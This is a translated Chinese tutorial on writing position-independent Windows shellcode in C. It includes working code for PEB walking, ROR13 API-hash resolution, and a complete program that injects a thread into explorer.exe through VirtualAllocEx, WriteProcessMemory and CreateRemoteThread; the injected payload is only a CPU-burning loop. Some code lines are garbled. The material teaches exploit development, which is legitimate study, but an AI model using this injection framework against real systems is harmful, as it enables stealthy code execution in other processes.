使用C編譯器編寫shellcode
背景
有時候程序員們需要寫一段獨立于位置操作的代碼,可當作一段數據寫到其他進程或者網絡中去。該類型代碼在它誕生之初就被稱為shellcode,在軟件利用中黑客們以此獲取到shell權限。方法就是通過這樣或那樣的惡意手法使得這段代碼得以執行,完成它的使命。當然了,該代碼僅能靠它自己,作者無法使用現代軟件開發的實踐來推進shellcode的編寫。
匯編常用于編寫shellcode,特別是對代碼大小挑剔的時候,匯編就是不錯的選擇。對我個人而言,多數項目都需要一段類似可以注入到其他進程的代碼。這時候我就不是特別在意代碼大小了,反而是開發效率以及調試能力顯得尤為重要。一開始,我用NASM編寫獨立的匯編程序,把獲得的輸出文件轉換為C數組,然后整合到我的程序中。這正是你在milw0rm這樣的網站上所看到的,大多數exploit payload的獲取方式。最終我厭倦了這樣的方式,雖然很懷念NASM完備的功能,我還是開始使用內聯匯編來解決問題。隨著經驗的積累,我發現了一個完全可用的純C開發shellcode的方法,僅需2條內聯匯編指令。就開發速度和調試shellcode時的上下文而言,真的比單純使用匯編的方法有很大的改進。運用機器級的比如ollydbg這樣的調試器,我毫不含糊,但這相對于用Visual Studio調試器來調試C源碼,就是小菜一碟。
準備工作
為了確保能生成可用作shellcode這樣特定格式的代碼,我們需要對Visual Studio做些特殊的配置。下面的各項配置,可能隨編譯器的變更而變更:
1、使用Release模式。近來編譯器的Debug模式可能產生逆序的函數,并且會插入許多與位置相關的調用。
2、禁用優化。編譯器會默認優化那些沒有使用的函數,而那可能正是我們所需要的。
3、禁用棧緩沖區安全檢查(/Gs)。在函數頭尾所調用的棧檢查函數,存在于二進制文件的某個特定位置,導致輸出的函數不能重定位,這對shellcode是無意義的。
第一個shellcode
- #include
- void shell_code()
- {
- for (;;);
- }
- void __declspec(naked) END_SHELLCODE(void) {}
- int main(int argc, char *argv[])
- {
- int sizeofshellcode = (int)END_SHELLCODE - (int)shell_code;
- // Show some info about our shellcode buffer printf("Shellcode starts at %p and is %d bytes long", shell_code. sizeofshellcode);
- // Now we can test out the shellcode by calling it from C! shell_code();
- return 0;
- }
這里所示例的shellcode除了一個無限循環,啥事也沒干。不過有一點是比較重要的————放在shell_code函數之后的END_SHELLCODE。有了這個,我們就能通過shell_code函數開頭和END_SHELLCODE函數開頭間的距離來確定shellcode的長度了。還有,C語言在這里所體現的好處就是我們能夠把程序本身當作一段數據來訪問,所以如果我們需要把shellcode寫到另外一份文件中,僅需簡單的調用fwrite(shell_code, sizeofshellcode, 1, filehandle)。
Visual Studio環境中,通過調用shell_code函數,借助IDE的調試技能,就可以很容易的調試shellcode了。
在上面所示的第一個小案例中,shellcode僅用了一個函數,其實我們可以使用許多函數。只是所有的函數需要連續地存放在shell_code函數和END_SHELLCODE函數之間,這是因為當在內部函數間調用時,call指令總是相對的。call指令的意思是“從距這里X字節的地方調用一個函數”。所以如果我們把執行call的代碼和被調用的代碼都拷貝到其他地方,同時又保證了它們間的相對距離,那么鏈接時就不會出岔子。
Shellcode中數據的使用
傳統C源碼中,如果要用一段諸如ASCII字符的數據,可以直接內嵌進去,無需擔心數據的存放,比如: WinExec(“evil.exe”)。這里的“evil.exe”字符串被存儲在C程序的靜態區域(很可能是二進制的.rdata節中),如果我們把這段代碼拷貝出來,試圖將其注入到其他進程中,就會因那段字符不存在于其他進程的特定位置而失敗。傳統匯編編寫的shellcode可以輕松的使用數據,這通過使用call指令獲取到指向代碼本身的指針,而這段代碼可能就混雜著數據。下面是一個使用匯編實現的shellcode方式的WinExec調用:
- call end_of_string
- db 'evil.exe',0
- end_of_string:
- call WinExec
這里的第一個call指令跳過字符數據”evial.exe”,同時在棧頂存放了一個指向字符串的指針,稍后會被用作WinExec函數的參數。這種新穎的使用數據的方法有著很高的空間利用率,但是很可惜在C語言中沒有與此等價的直接調用。在用C寫shellcode時,我建議使用棧區來存放和使用字符串。為了使微軟編譯器在棧上動態的分配字符以便重定位,你需要如下處理:
- char mystring[] = {'e','v','i','l','.','e','x','e',0};
- winexec(mystring);
你會發現,我將字符串聲明為字符數組的形式。如果我這樣寫char mystring[] = “evil.exe”; 在老式的微軟編譯器中,它會通過一系列的mov指令來構成字符串,而現在僅會簡單的將字符串從內存中的固定位置拷貝到棧中,而如果需要重定位代碼,這就無效了。把兩種方法都試試,下載免費的IDA Pro版本看看它們的反匯編代碼。上面的賦值語句的反匯編應該看起來如下所示:
- mov [ebp+mystring], 65h
- mov [ebp+mystring+1], 76h
- mov [ebp+mystring+2], 69h
- mov [ebp+mystring+3], 6Ch
- mov [ebp+mystring+4], 2Eh
- mov [ebp+mystring+5], 65h
- mov [ebp+mystring+6], 78h
- mov [ebp+mystring+7], 65h
- mov [ebp+mystring+8], 0
處理數據時,字符串真的是很頭疼的一件事。其他比如結構體、枚舉、typedef聲明、函數指針啊這些,都能如你預期的那樣正常工作,你可以利用C提供的全套功能。確保數據為局部變量,一切都OK了。
使用庫函數
我將這篇文章專注于Windows環境的shellcode。上面所提及的一些規則也適用于Unix系統。Windows環境下的shellcode會更復雜一點,因為我們沒有一致公開的方法進行系統調用,就像在Unix中僅需幾條匯編代碼就可以的那樣(對int 80h的調用)。我們需要利用DLL中提供的API函數,來進行系統調用做些像讀寫文件、網絡通信這樣的事。這些DLL最終會進行必要的系統調用,而它的實現細節幾乎隨著每次Windows的發布而變化。像《The Shellcoder’s Handbook》這樣的標榜性著作描繪了搜尋內存中DLL和函數的方法。如果想將shellcode做到在不同Windows版本間的可移植性,有兩個函數是必須的:1、查找kernel32.dll的函數;2、實現GetProcAddress()函數或者查找GetProcAddress()地址的函數。我所提供的實現是基于hash的而非字符串的比較,下面我將提供用于shellcode的hash實現,并做個簡短的說明。
Hash函數
在shellcode中,使用hash進行函數的查詢是比較普遍的。較流行的ROR13 hash方法是最常用的,它的實現也用在了《The Shellcoder’s Handbook》中。它的基本思想是當我們要查詢一個名為“MyFunction”的函數時,不是將字符串存放在內存中,對每個函數名進行字符串的比對,而是生成一個32位的hash值,將每個函數名進行hash比對。這并不能減小運行時間,但是可以節省shellcode的空間,也具有一定的反逆向功效。下面我提供了ASCII和Unicode版本的ROR13 hash實現:
- DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string)
- {
- DWORD hash = 0;
- while (*unicode_string != 0)
- {
- DWORD val = (DWORD)*unicode_string++;
- hash = (hash >> 13) | (hash << 19); // ROR 13 hash += val;
- }
- return hash;
- }
- DWORD __stdcall ror13_hash(const char *string)
- {
- DWORD hash = 0;
- while (*string) {
- DWORD val = (DWORD) *string++;
- hash = (hash >> 13)|(hash << 19); // ROR 13 hash += val;
- }
- return hash;
- }
查找DLL
有3個鏈表可以用來描述內存中加載的DLL:
InMemoryOrderModuleList、InInitializationOrderModuleList和InLoadOrderModuleList。它們都在PEB(進程環境塊)中。在你的shellcode中,用哪個都可以,我所用的是InMemoryOrderModuleList。需要如下的兩條內聯匯編來訪問PEB:
- PPEB __declspec(naked) get_peb(void)
- {
- __asm {
- mov eax, fs:[0x30]
- ret
- }
- }
現在我們已經獲取了PEB,可以查詢內存中的DLL了。唯一的一直存在于Windows進程內存中的DLL是ntdll.dll,但kernel32.dll會更方便一點,并且在99.99%的Windows進程中(Win32子系統)都可用。下面我提供的代碼實現會查詢module列表,利用unicode的ROR13 hash值查到kernel32.dll。
- HMODULE __stdcall find_kernel32(void)
- {
- return find_module_by_hash(0x8FECD63F);
- }
- HMODULE __stdcall find_module_by_hash(DWORD hash)
- {
- PPEB peb;
- LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod;
- peb = get_peb();
- module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;
- first_mod = module_ptr;
- do {
- if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash)
- return (HMODULE)module_ptr->Reserved2[0];
- else
- module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];
- } while (module_ptr && module_ptr != first_mod); // because the list wraps,
- return INVALID_HANDLE_VALUE;
- }
這里所提供的find_module_by_hash函數可以利用dll名稱的hash值找到任意的加載在內存中的DLL。如果要加載一個新的原本不再內存中的DLL,就需要使用kernel32.dll中的LoadLibrary函數。要找到LoadLibrary函數,我們就需要實現GetProcAddress函數。下面的代碼實現利用函數名的hash值在加載的dll中查找函數:
- FARPROC __stdcall find_function(HMODULE module, DWORD hash)
- {
- IMAGE_DOS_HEADER *dos_header;
- IMAGE_NT_HEADERS *nt_headers;
- IMAGE_EXPORT_DIRECTORY *export_dir;
- DWORD *names, *funcs;
- WORD *nameords;
- int i;
- dos_header = (IMAGE_DOS_HEADER *)module;
- nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew);
- export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
- names = (DWORD *)((char *)module + export_dir->AddressOfNames);
- funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions);
- nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals);
- for (i = 0; i < export_dir->NumberOfNames; i++)
- {
- char *string = (char *)module + names[i];
- if (hash == ror13_hash(string))
- {
- WORD nameord = nameords[i];
- DWORD funcrva = funcs[nameord];
- return (FARPROC)((char *)module + funcrva);
- }
- }
- return NULL;
- }
現在我們可以這樣查找函數:
- HMODULE kern32 = find_kernel32();
- FARPROC loadlibrarya = find_function(kern32, 0xEC0E4E8E); // the hash of LoadLibraryA
最終成品
現在我將以完整的C程序的方式來展示上面所提及的內容。代碼執行時,將生成名為shellcode.bin的文件,它就存儲著shellcode。該shellcode可以向explorer.exe注入一個線程,實現無限循環,直至消耗完cpu。
- #include <stdio.h>
- #include <Windows.h>
- #include <winternl.h>
- #include <wchar.h>
- #include <tlhelp32.h>
- PPEB get_peb(void);
- DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string);
- DWORD __stdcall ror13_hash(const char *string);
- HMODULE __stdcall find_module_by_hash(DWORD hash);
- HMODULE __stdcall find_kernel32(void);
- FARPROC __stdcall find_function(HMODULE module, DWORD hash);
- HANDLE __stdcall find_process(HMODULE kern32, const char *procname);
- VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size);
- BOOL __stdcall strmatch(const char *a, const char *b);
- void __stdcall shell_code()
- {
- HMODULE kern32;
- DWORD *dwptr;
- HANDLE hProcess;
- char procname[] = {'e','x','p','l','o','r','e','r','.','e','x','e',0};
- char code[] = {0xEB, 0xFE};
- kern32 = find_kernel32();
- hProcess = find_process(kern32, (char *)procname);
- inject_code(kern32, hProcess, code, sizeof code);
- }
- HANDLE __stdcall find_process(HMODULE kern32, const char *procname)
- {
- FARPROC createtoolhelp32snapshot = find_function(kern32, 0xE454DFED);
- FARPROC process32first = find_function(kern32, 0x3249BAA7);
- FARPROC process32next = find_function(kern32, 0x4776654A);
- FARPROC openprocess = find_function(kern32, 0xEFE297C0);
- FARPROC createprocess = find_function(kern32, 0x16B3FE72);
- HANDLE hSnapshot;
- PROCESSENTRY32 pe32;
- hSnapshot = (HANDLE)createtoolhelp32snapshot(TH32CS_SNAPPROCESS, 0);
- if (hSnapshot == INVALID_HANDLE_VALUE)
- return INVALID_HANDLE_VALUE;
- pe32.dwSize = sizeof( PROCESSENTRY32 );
- if (!process32first(hSnapshot, &pe32))
- return INVALID_HANDLE_VALUE;
- do
- {
- if (strmatch(pe32.szExeFile, procname))
- {
- return openprocess(PROCESS_ALL_ACCESS, FALSE, pe32.th32ProcessID);
- }
- } while (process32next(hSnapshot, &pe32));
- return INVALID_HANDLE_VALUE;
- }
- BOOL __stdcall strmatch(const char *a, const char *b)
- {
- while (*a != '' && *b != '')
- {
- char aA_delta = 'a' - 'A';
- char a_conv = *a >= 'a' && *a <= 'z' ? *a - aA_delta : *a;
- char b_conv = *b >= 'a' && *b <= 'z' ? *b - aA_delta : *b;
- if (a_conv != b_conv)
- return FALSE;
- a++;
- b++;
- }
- if (*b == '' && *a == '')
- return TRUE;
- else
- return FALSE;
- }
- VOID __stdcall inject_code(HMODULE kern32, HANDLE hprocess, const char *code, DWORD size)
- {
- FARPROC virtualallocex = find_function(kern32, 0x6E1A959C);
- FARPROC writeprocessmemory = find_function(kern32, 0xD83D6AA1);
- FARPROC createremotethread = find_function(kern32, 0x72BD9CDD);
- LPVOID remote_buffer;
- DWORD dwNumBytesWritten;
- remote_buffer = virtualallocex(hprocess, NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
- if (remote_buffer == NULL)
- return;
- if (!writeprocessmemory(hprocess, remote_buffer, code, size, &dwNumBytesWritten))
- return;
- createremotethread(hprocess, NULL, 0, remote_buffer, NULL, 0, NULL);
- }
- HMODULE __stdcall find_kernel32(void)
- {
- return find_module_by_hash(0x8FECD63F);
- }
- HMODULE __stdcall find_module_by_hash(DWORD hash)
- {
- PPEB peb;
- LDR_DATA_TABLE_ENTRY *module_ptr, *first_mod;
- peb = get_peb();
- module_ptr = (PLDR_DATA_TABLE_ENTRY)peb->Ldr->InMemoryOrderModuleList.Flink;
- first_mod = module_ptr;
- do {
- if (unicode_ror13_hash((WCHAR *)module_ptr->FullDllName.Buffer) == hash)
- return (HMODULE)module_ptr->Reserved2[0];
- else
- module_ptr = (PLDR_DATA_TABLE_ENTRY)module_ptr->Reserved1[0];
- } while (module_ptr && module_ptr != first_mod); // because the list wraps,
- return INVALID_HANDLE_VALUE;
- }
- PPEB __declspec(naked) get_peb(void)
- {
- __asm {
- mov eax, fs:[0x30]
- ret
- }
- }
- DWORD __stdcall unicode_ror13_hash(const WCHAR *unicode_string)
- {
- DWORD hash = 0;
- while (*unicode_string != 0)
- {
- DWORD val = (DWORD)*unicode_string++;
- hash = (hash >> 13) | (hash << 19); // ROR 13
- hash += val;
- }
- return hash;
- }
- DWORD __stdcall ror13_hash(const char *string)
- {
- DWORD hash = 0;
- while (*string) {
- DWORD val = (DWORD) *string++;
- hash = (hash >> 13)|(hash << 19); // ROR 13
- hash += val;
- }
- return hash;
- }
- FARPROC __stdcall find_function(HMODULE module, DWORD hash)
- {
- IMAGE_DOS_HEADER *dos_header;
- IMAGE_NT_HEADERS *nt_headers;
- IMAGE_EXPORT_DIRECTORY *export_dir;
- DWORD *names, *funcs;
- WORD *nameords;
- int i;
- dos_header = (IMAGE_DOS_HEADER *)module;
- nt_headers = (IMAGE_NT_HEADERS *)((char *)module + dos_header->e_lfanew);
- export_dir = (IMAGE_EXPORT_DIRECTORY *)((char *)module + nt_headers->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
- names = (DWORD *)((char *)module + export_dir->AddressOfNames);
- funcs = (DWORD *)((char *)module + export_dir->AddressOfFunctions);
- nameords = (WORD *)((char *)module + export_dir->AddressOfNameOrdinals);
- for (i = 0; i < export_dir->NumberOfNames; i++)
- {
- char *string = (char *)module + names[i];
- if (hash == ror13_hash(string))
- {
- WORD nameord = nameords[i];
- DWORD funcrva = funcs[nameord];
- return (FARPROC)((char *)module + funcrva);
- }
- }
- return NULL;
- }
- void __declspec(naked) END_SHELLCODE(void) {}
- int main(int argc, char *argv[])
- {
- FILE *output_file = fopen("shellcode.bin", "w");
- fwrite(shell_code, (int)END_SHELLCODE - (int)shell_code, 1, output_file);
- fclose(output_file);
- return 0;
- }
來源聲明:本文來自Nick Harbour的博文《Writing Shellcode with a C Compiler》,由IDF實驗室徐文博翻譯。